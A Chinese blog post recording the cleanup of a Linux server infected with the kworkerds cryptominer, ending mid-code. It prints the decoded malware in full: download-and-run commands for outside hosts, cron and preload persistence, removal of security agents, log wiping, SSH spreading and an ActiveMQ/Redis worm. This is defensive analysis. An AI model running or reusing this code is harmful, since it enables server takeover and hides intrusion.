kworkerds病毒处理记录

发布 : 2019-02-24 分类 : 病毒 浏览 :

kworkerds病毒处理记录

此记录是处理完病毒两天后记录的,可能会与当时处理过程有出入。

发现病毒

午饭过后登陆服务器,系统提示:“There were 386 failed login attempts since the last successful login.”心里突然咯噔一下,上午这台服务器加了公网ip,没有做防火墙限制,有人在破解服务器密码,赶紧把sshd配置改一下,将sshd端口绑定在内网ip上,但是发现任何操作都很慢,top命令看一下load average 200+,我的天呐,密码已经被破解了?这是什么情况,先看一下占用最高的进程,一堆的kworkerds和zigw进程大概有10多个,并且还有好多,find / -name *.js命令,突然有种不好的预感,不管了先把进程杀死,负载先降下来在说。

1
2
3
# pkill -9 kworkerds
# pkill -9 zigw
# pkill -9 find

处理病毒

进程杀死后负载下来了,但是发现又有kworkerds服务启动了,先找找启动的源头,先想到的是计划任务

  1. 查看计划任务
1
2
3
4
# crontab -l
....
...
一堆乱码,当时未截图

果然有问题,先把计划任务的内容删除了吧

1
2
# echo "" >/var/spool/cron/root
-bash: /var/spool/cron/root: Permission denied

权限被拒绝,我可是root用户啊,lsattr在看一下

1
2
# lsattr /var/spool/cron/root
----ia---------- /var/spool/cron/root

果然被改了,我们改回来,然后在删除

1
# chattr -ai /var/spool/cron/root && echo > /var/spool/cron/root

恩,这回成功了,在杀死病毒进程,在观察一下。

1
2
# pkill -9 kworkerds
# pkill -9 zigw
  1. 修改服务器配置

先把sshd的配置改一下,将sshd_config的ListenAddress改成内网的ip

1
2
3
#  grep ListenAddress  /etc/ssh/sshd_config
ListenAddress 10.10.1.10
# systemctl restart sshd

将防火墙对外只开放80和443端口

1
2
3
4
5
6
// 对内网开放指定端口,并指定允许的源ip段,注意sshd一定要先开放,不然登陆不了就哭去吧
// 这里的内容根据需求自行设置哈
# iptables -A INPUT -p tcp -s 源ip/子网 --dport 这里写端口号 -j ACCEPT
# iptables -A INPUT --dport 22 -j ACCEPT
// 拒绝
# iptables -A INPUT -j DROP

病毒复发

改完配置后在top看一下,我了个去,kworkerds进程又出来了,什么情况,在看一下计划任务,WTF,怎么又出来了!

1
2
# crontab -l
* * * * * curl -fsSL https://pastebin.com/raw/sF3gViaw || wget -q -O- https://pastebin.com/raw/sF3gViaw)|base64 -d

详细分析

  1. 先解决程序会自动启动的问题

既然他的程序kworkerds会通过各种方式自动重启,并且我已经知道了他的文件是放在/tmp/kworkerds,那么我先删除这个程序,然后touch一个空文件,然后修改权限,在将chattr命令移走

1
2
3
4
# rm -f /tmp/kworkerds
# touch /tmp/kworkerds
# chattr +ai /mtp/kworkerds
# mv $(which chattr) ~/

好了,你这样在嚣张也没办法启动了吧,除非。。。启动程序每次都换目录or改名字

  1. 分析脚本

访问一下url先看看他的脚本内容吧,脚本内容是base64加密的,解密内容如下,我已经大概注释了一下每个函数的作用:

PS: 以下脚本请千万不要在线上服务器中执行!!!

脚本一:https://pastebin.com/raw/sF3gViaw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# 看起来像是清除其它病毒的函数
function b() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
pkill -f qW3xT.2
pkill -f /usr/bin/.sshd
pkill -f sustes
pkill -f Xbash
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* .systemd-private-*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate
rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate
chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
mkdir -p /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port
touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "watchdogs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /tmp/thisxxs|awk '{print $2}'|xargs kill
ps auxf|grep -v grep|grep /opt/yilu/work/xig/xig|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
if [ ${p} -eq 0 ];then
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
}

# 下载挖矿的配置及程序
function d() {
ARCH=$(uname -i)
if [ "$ARCH" == "x86_64" ]; then
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/1 -o /tmp/kworkerds||wget https://master.minerxmr.ru/One/1 -O /tmp/kworkerds) && chmod +x /tmp/kworkerds
nohup /tmp/kworkerds >/dev/null 2>&1 &
else
mkdir -p /var/tmp
chmod 1777 /var/tmp
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/c -o /var/tmp/config.json||wget https://master.minerxmr.ru/One/c -O /var/tmp/config.json) && chmod +x /var/tmp/config.json
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/x1 -o /var/tmp/kworkerds||wget https://master.minerxmr.ru/One/x1 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
nohup /var/tmp/kworkerds >/dev/null 2>&1 &
fi
}

# 这里是python的一个脚本,大概意思就是通过redis感染局域网内的其它主机,所以redis,修改默认端口,加密码(不要用弱密码)是很重要的!,后边详细分析一下这个脚本
function e() {
nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2hRWlRGQWRDJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
touch /tmp/.38t9guft0055d0565u444gtjr0
}

# 这里是最主要的,程序为啥总是自动启动,都在这个函数里!
function c() {
chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/CnPtQ2tM -o /usr/local/bin/dns||wget https://pastebin.com/raw/CnPtQ2tM -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns
echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab
echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
mkdir -p /etc/cron.daily
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
mkdir -p /etc/cron.monthly
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
mkdir -p /usr/local/lib/
if [ ! -f "/usr/local/lib/libntpd.so" ]; then
ARCH=$(uname -i)
if [ "$ARCH" == "x86_64" ]; then
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/2 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
elif [ "$ARCH" == "i386" ]; then
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
else
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
fi
fi
chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh' & done
fi
touch -acmr /bin/sh /etc/cron.hourly/oanacroner
touch -acmr /bin/sh /etc/cron.daily/oanacroner
touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}

# 阿里安全骑士卸载函数
function a() {
if ps aux | grep -i '[a]liyun'; then
wget http://update.aegis.aliyun.com/download/uninstall.sh
chmod +x uninstall.sh
./uninstall.sh
wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
chmod +x quartz_uninstall.sh
./quartz_uninstall.sh
rm -f uninstall.sh quartz_uninstall.sh
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*;
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
touch /tmp/.a
}


# 上边是所有的函数说明,下边开始执行了


mkdir -p /tmp
chmod 1777 /tmp
# 检查a函数有没有执行,没有执行则执行a函数,a函数主要是卸载阿里云的安全卫士的
if [ ! -f "/tmp/.a" ]; then
a
fi
#执行b,c函数 b函数即清除其它病毒,c函数是设置自己程序的各种启动方式!还先帮忙查杀一下,哈哈
b
c
# 这里应该是检查一下自己服务有没有建立链接,没有则执行d函数,d函数主要是下载他的程序及配置了
port=$(netstat -an | grep :56415 | wc -l)
if [ ${port} -eq 0 ];then
d
fi
# 执行函数e并感染主机内的其它redis服务器
if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; then
e
fi

# 下面主要都是清除他的痕迹了,登陆日志,系统邮件,计划任务日志,每次执行都清空,让你查日志都查不到!!!
# 清除系统发出的邮件
echo 0>/var/spool/mail/root
# 记录用户的登陆次数和持续时长
echo 0>/var/log/wtmp
# 用户登陆行为日志
echo 0>/var/log/secure
# 计划任务的日志
echo 0>/var/log/cron

脚本二:https://pastebin.com/raw/1NtRkBc3https://pastebin.com/raw/LSsjnTkm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function b() {
ARCH=$(uname -i)
if [ "$ARCH" == "x86_64" ]; then
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/1 -o /tmp/kworkerds||wget https://master.minerxmr.ru/Pep/1 -O /tmp/kworkerds) && chmod +x /tmp/kworkerds
nohup /tmp/kworkerds >/dev/null 2>&1 &
else
mkdir -p /var/tmp
chmod 1777 /var/tmp
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/c -o /var/tmp/config.json||wget https://master.minerxmr.ru/Pep/c -O /var/tmp/config.json) && chmod +x /var/tmp/config.json
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/x1 -o /var/tmp/kworkerds||wget https://master.minerxmr.ru/Pep/x1 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
nohup /var/tmp/kworkerds >/dev/null 2>&1 &
fi
}
# 计划任务,上一个脚本是所有的计划任务,这个更难发现,把netstat命令都给改了!还加了netdns的启动项。。。不看脚本是真难查绝啊。
function a() {
chattr -i /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /usr/sbin/netdns /etc/init.d/netdns
echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
mkdir -p /etc/cron.daily
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
mkdir -p /etc/cron.monthly
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/3 -o /usr/sbin/netdns||wget https://master.minerxmr.ru/Pep/3 -O /usr/sbin/netdns) && chmod 777 /usr/sbin/netdns && touch -acmr /bin/sh /usr/sbin/netdns && chattr +i /usr/sbin/netdns
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/4 -o /etc/init.d/netdns||wget https://master.minerxmr.ru/Pep/4 -O /etc/init.d/netdns) && chmod 777 /etc/init.d/netdns && touch -acmr /bin/sh /etc/init.d/netdns && chattr +i /etc/init.d/netdns
chkconfig --add netdns
chattr -i /bin/netstat
rm -rf /bin/netstat
ARCH=$(uname -i)
if [ "$ARCH" == "x86_64" ]; then
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/n64 -o /bin/netstat||wget https://master.minerxmr.ru/Pep/n64 -O /bin/netstat) && chmod +x /bin/netstat && touch -acmr /bin/sh /bin/netstat && chattr +i /bin/netstat
elif [ "$ARCH" == "i386" ]; then
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/n32 -o /bin/netstat||wget https://master.minerxmr.ru/Pep/n32 -O /bin/netstat) && chmod +x /bin/netstat && touch -acmr /bin/sh /bin/netstat && chattr +i /bin/netstat
else
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/Pep/n32 -o /bin/netstat||wget https://master.minerxmr.ru/Pep/n32 -O /bin/netstat) && chmod +x /bin/netstat && touch -acmr /bin/sh /bin/netstat && chattr +i /bin/netstat
fi
touch -acmr /bin/sh /etc/cron.d/system
touch -acmr /bin/sh /etc/cron.hourly/oanacroner
touch -acmr /bin/sh /etc/cron.daily/oanacroner
touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}

a
port=$(netstat -an | grep :56415 | wc -l)
if [ ${port} -eq 0 ];then
b
fi
#

看过以上两个脚本之后以下目录及文件都需要清除,注意备份文件,命令可以从其它机器拷贝过来替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 文件

/bin/netstat
/etc/cron.daily/oanacroner
/etc/cron.d/apache
/etc/cron.d/root
/etc/cron.d/system
/etc/cron.hourly/oanacroner
/etc/cron.monthly/oanacroner
/etc/init.d/netdns
/etc/ld.so.preload
/tmp/kworkerds
/usr/local/bin/dns
/usr/sbin/netdns
/var/spool/cron/crontabs/root
/var/spool/cron/root
/var/tmp/config.json
/usr/local/lib/libntpd.so

# 目录
/opt/yilu
/usr/bin/bsd-port
/var/tmp
  1. 感染局域网内其它主机

上一步中提到了一个python的脚本,这个病毒如何感染的其它主机,就需要看一下这个python的脚本了

PS: Python 初学者对python不是很熟悉有错误请指正哈

先上pythono的函数

1
2
3
4
function e() {
nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2hRWlRGQWRDJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
touch /tmp/.38t9guft0055d0565u444gtjr0
}

依旧是个base64位的加密,我们解密一下,看一下真正的内容吧!脚本内有注释说明传染的方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#! /usr/bin/env python
#coding: utf-8

import threading
import socket
from re import findall
import httplib
import os

# 创建一个空的列表
IP_LIST = []


class scanner(threading.Thread):
tlist = []
maxthreads = 100
evnt = threading.Event()
lck = threading.Lock()

def __init__(self,host):
threading.Thread.__init__(self)
self.host = host
# 应该是这里负责传染病毒的,分别通过8161,6379端口,即activeMQ,redis服务,有这个两个服务的当心啦
# activeMQ没有用过,我这服务器有redis服务,所以我只说一下redis的传染过程吧。
#
def run(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect_ex((self.host, 8161))
s.send('google spider\r\n')
results = s.recv(1)
if str(results):
data = "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##"
data2 = "*/15 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##"
conn = httplib.HTTPConnection(self.host, port=8161, timeout=2)
conn.request(method='PUT', url='/fileserver/go.txt', body=data)
conn.request(method='PUT', url='/fileserver/goa.txt', body=data2)
conn.request(method='PUT', url='/fileserver/gob.txt', body=data2)
result = conn.getresponse()
conn.close()
if result.status == 204:
headers = {'Destination': 'file:///etc/cron.d/root'}
headers2 = {'Destination': 'file:///var/spool/cron/root'}
headers3 = {'Destination': 'file:///var/spool/cron/crontabs/root'}
conn = httplib.HTTPConnection(self.host, port=8161, timeout=2)
conn.request(method='MOVE', url='/fileserver/go.txt', headers=headers)
conn.request(method='MOVE', url='/fileserver/goa.txt', headers=headers2)
conn.request(method='MOVE', url='/fileserver/gob.txt', headers=headers3)
conn.close()
s.close()
except Exception:
pass
try:
# 这里redis如果没有设置密码的话即可直接登陆了!然后就有了以下操作,都是知识点!没这个病毒我还真不知道!
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.settimeout(2)
x = s2.connect_ex((self.host, 6379))
if x == 0:
